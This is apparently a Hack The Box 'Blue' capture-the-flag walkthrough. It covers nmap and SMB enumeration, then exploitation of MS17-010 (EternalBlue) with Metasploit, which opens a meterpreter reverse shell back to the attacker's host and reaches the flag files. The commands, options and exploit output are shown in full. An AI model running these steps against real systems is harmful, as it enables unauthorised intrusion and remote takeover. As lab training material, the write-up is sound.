Blue

Let's start with enumerating services with simple nmap command.

```
└─$ nmap -sV 10.129.74.148
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 07:50 CST
Nmap scan report for 10.129.74.148
Host is up (0.062s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Port 445 open indicates that SMB might be running on that port.
Let's list shares if any are available.

```
└─$ smbclient -L \\\\10.129.74.148 --no-pass

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Share           Disk
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.74.148 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Now let's try connecting to IPC$ share with no password authentication.

```
└─$ smbclient \\\\10.129.91.8\\IPC$ --no-pass
Try "help" to get a list of possible commands.
smb: \>
```

We cannot view contests of this share or there is nothing in it. Lets try Users.

```
└─$ smbclient  \\\\10.129.74.148\\Users --no-pass
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   DR        0  Fri Jul 21 01:56:23 2017
  ..                                  DR        0  Fri Jul 21 01:56:23 2017
  Default                           DHR        0  Tue Jul 14 02:07:31 2009
  desktop.ini                       AHS      174  Mon Jul 13 23:54:24 2009
  Public                              DR        0  Tue Apr 12 02:51:29 2011

                4692735 blocks of size 4096. 592643 blocks available
smb: \>
```

We are able to display contents of this one, but no interesting files found.

To view more information dumped from SMB, like OS or SMB version we can run following command:

```
┌──(kali㉿kali)-[~]
└─$ nmap --script "safe or smb-enum-*" -p 445 10.129.74.148
```

```
smb-os-discovery:
  OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
  OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
  Computer name: haris-PC
  NetBIOS computer name: HARIS-PC\x00
  Workgroup: WORKGROUP\x00
  System time: 2023-11-23T13:52:09+00:00
```

```
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     202
|_    210
|_clock-skew: mean: 4s, deviation: 2s, median: 3s
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
```

We can see that it's running v1 of SMB so very vulnerable version.
Let's open Metasploit and look for SMB RCE or EternalBlue exploit as indicated.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
```

```
msf6 > search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
```

Let's try first option and leave payload as default.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
```

Now we have to set few options, to list them run following command:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasp
                                             loit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects
                                              Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 targe
                                             t machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Win
                                             dows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target ma
                                             chines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Serve
                                             r 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

As indicated in required optiongs column, we have to set hosts and ip for both target and attacker side.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.129.91.8
RHOSTS ⇒ 10.129.91.8
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445
RPORT ⇒ 445
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.170
LHOST ⇒ 10.10.14.170
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 1234
LPORT ⇒ 1234
```

Finally, run the exploit.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

We can see an extensive output and after a while, system is exploited.

```
[*] Started reverse TCP handler on 10.10.14.170:1234
[*] 10.129.91.8:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.91.8:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64
(64-bit)
[*] 10.129.91.8:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.91.8:445 - The target is vulnerable.
[*] 10.129.91.8:445 - Connecting to target for exploitation.
[+] 10.129.91.8:445 - Connection established for exploitation.
[+] 10.129.91.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.91.8:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.91.8:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.91.8:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.91.8:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.129.91.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.91.8:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.91.8:445 - Sending all but last fragment of exploit packet
[*] 10.129.91.8:445 - Starting non-paged pool grooming
[+] 10.129.91.8:445 - Sending SMBv2 buffers
[+] 10.129.91.8:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.91.8:445 - Sending final SMBv2 buffers.
[*] 10.129.91.8:445 - Sending last fragment of exploit packet!
[*] 10.129.91.8:445 - Receiving response from exploit packet
[+] 10.129.91.8:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.91.8:445 - Sending egg to corrupted connection.
[*] 10.129.91.8:445 - Triggering free of corrupted buffer.
[-] 10.129.91.8:445 - ================================================
[-] 10.129.91.8:445 - ====================FAIL========================
[-] 10.129.91.8:445 - ================================================
[*] 10.129.91.8:445 - Connecting to target for exploitation.
[+] 10.129.91.8:445 - Connection established for exploitation.
[+] 10.129.91.8:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.91.8:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.91.8:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.91.8:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.91.8:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.129.91.8:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.91.8:445 - Trying exploit with 17 Groom Allocations.
[*] 10.129.91.8:445 - Sending all but last fragment of exploit packet
[*] 10.129.91.8:445 - Starting non-paged pool grooming
[+] 10.129.91.8:445 - Sending SMBv2 buffers
[+] 10.129.91.8:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.91.8:445 - Sending final SMBv2 buffers.
[*] 10.129.91.8:445 - Sending last fragment of exploit packet!
[*] 10.129.91.8:445 - Receiving response from exploit packet
[+] 10.129.91.8:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.91.8:445 - Sending egg to corrupted connection.
[*] 10.129.91.8:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.129.91.8
[*] Meterpreter session 1 opened (10.10.14.170:1234 → 10.129.91.8:49158) at 2023-11-23 07:42:53 -0600
[+] 10.129.91.8:445 - ================================================
[+] 10.129.91.8:445 - ====================WIN=========================
[+] 10.129.91.8:445 - ================================================
```

We can list available command with help:

```
meterpreter > help
```

Metasploit did all the job, from here we can find user and root flags in following directories:

```
lmeterpreter > ls
Listing: C:\Users\haris\Desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-07-15 02:58:32 -0500  desktop.ini
100444/r--r--r--  34    fil   2023-11-23 04:56:25 -0600  user.txt
```

```
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-07-21 01:56:40 -0500  desktop.ini
100444/r--r--r--  34    fil   2023-11-23 04:56:25 -0600  root.txt
```